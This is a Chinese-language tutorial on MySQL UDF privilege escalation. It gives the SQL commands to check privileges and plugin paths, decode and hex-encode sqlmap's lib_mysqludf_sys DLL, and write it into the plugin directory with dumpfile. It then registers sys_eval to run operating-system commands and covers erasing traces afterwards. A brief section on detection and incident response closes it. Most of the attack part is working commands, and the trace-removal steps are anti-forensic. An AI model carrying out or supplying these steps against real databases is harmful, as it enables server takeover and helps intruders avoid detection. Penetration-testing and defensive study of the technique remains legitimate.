UDF(User Defined Function) 是用户自定义函数,是 MySQL 支持的一种机制,可以通过 C语言写动态链接库(.so / .dll),然后让 MySQL 调用这些函数,调用方式与一般系统自带的函数相同,例如user(),version()等函数。
前置条件
- 当前用户已经拿到 MySQL 的权限(通常是 root)
- MySQL 进程运行权限较高(如 root)
- 有 文件写入权限(
plugin_dir
目录) - 可以使用
CREATE FUNCTION
创建函数(有CREATE
权限)
UDF 利用思路:
- 编写一个恶意的 C 语言动态库文件(比如
libudf.so
) - 利用 SQL 将该库文件写入 MySQL 插件目录
- 通过
CREATE FUNCTION
注册恶意函数(如sys_exec
) - 调用该函数来执行系统命令(比如创建 SUID shell、添加用户等)
版本特性
udf提权操作中的一个步骤是将我们的udf文件上传到mysql的检索目录中,Windows系统下mysql各版本的检索目录有所不同:
- Mysql < 5.0
导出路径随意
- 5.0 <= Mysql < 5.1
Win2000导出路径: C:/Winnt/udf.dll
其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll
- Mysql >= 5.1
Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建
UDF文件位置
- sqlmap中:sqlmap\data\udf\mysql
- metaspliot中:/usr/share/metasploit-framework/data/exploits/mysql
操作步骤
1. 查看可导出文件位置
show variables like '%secure%';
2. 查看当前数据库用户权限
select * from mysql.user where user = substring_index(user(), '@', 1)\G;
3. 确实 mysql 安装位置
select @@basedir as basePath from dual ;
4. 通过主机版本及架构确认 mysql 位数
show variables like '%basedir%';
5. 查看数据库版本,判断udf文件写入位置
select version()
6. 当 mysql 大于 5.1 版本
查看 plugin 目录
- 存在lib\plugin目录且有webshell时,直接上传udf文件
- 存在lib\plugin目录但没有webshell时,则需要以16进制编码写入udf文件
首先将对应版本的udf文件进行16进制编码(sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码)
python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
然后 16 进制编码 udf 文件
select hex(load_file('C:\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';
将16进制编码后的 udf 文件使用 dumpfile 函数写入磁盘(outfile导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作)
然后随便选一个数据库创建一个表并将二进制数据插入到十六进制编码流
(如果在低版本系统环境下(win2003)或部分特殊环境使用mysql命令提示符进行提权操作,由于不同环境下的mysql命令提示符可输入字符最大长度不同(win2003为8191,win10系统为65535),无法使用dumpfile一次性写入全部16进制字符,则需要将udf文件的16进制编码字符先进行切割,再拼接写入到一个表中,最后导出到目标系统
注意:在进行16进制数据切割时,每段字符的长度要为4的倍数,2进制转为16进制使用取四合一法,如果位数不够会在最高位补0,补0后会破坏原始二进制文件的文件结构导致利用失败,这也是很多人此方法复现失败的原因。)
然后导出表中数据到系统磁盘
select data from udf into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
- 查看 plugin 目录,不存在 lib\plugin目录但有webshell,可使用webshell创建lib\plugin目录
- 查看 plugin 目录,不存在 lib\plugin目录也没有webshell,那就没办法了
7. Mysql 小于 5.1 版本时
- 有 webshell 时,通过 webshell
- 无 webshell 时,使用 dumpfile 通过 16 进制数据流写入 udf 文件
8. 创建命令执行函数
使用winhex打开udf文件,在最下方可以看到udf文件提供的函数。
sys_eval,执行任意系统命令,并将输出返回。
sys_exec,执行任意系统命令,并将退出码返回(无命令执行结果回显)。
create function sys_eval returns string soname 'udf.dll';
命令执行:
select sys_eval("whoami");
痕迹清除
1、删除表
drop table udf;
2、删除函数
drop function sys_eval;
检测与应急响应思路
- 查看
mysql.func
表中是否有可疑函数:
SELECT * FROM mysql.func;
- 检查 plugin 目录是否存在异常 so 文件
ls -l /usr/lib/mysql/plugin/
- 审查 auditd 日志是否有写入 so 文件的记录
---
Linux 环境下的 udf 提权大概率只存在与靶场环境中,原因:
在 Linux 严格的系统权限下,mysql 用户或 web 用户无 plugin 目录的写入权限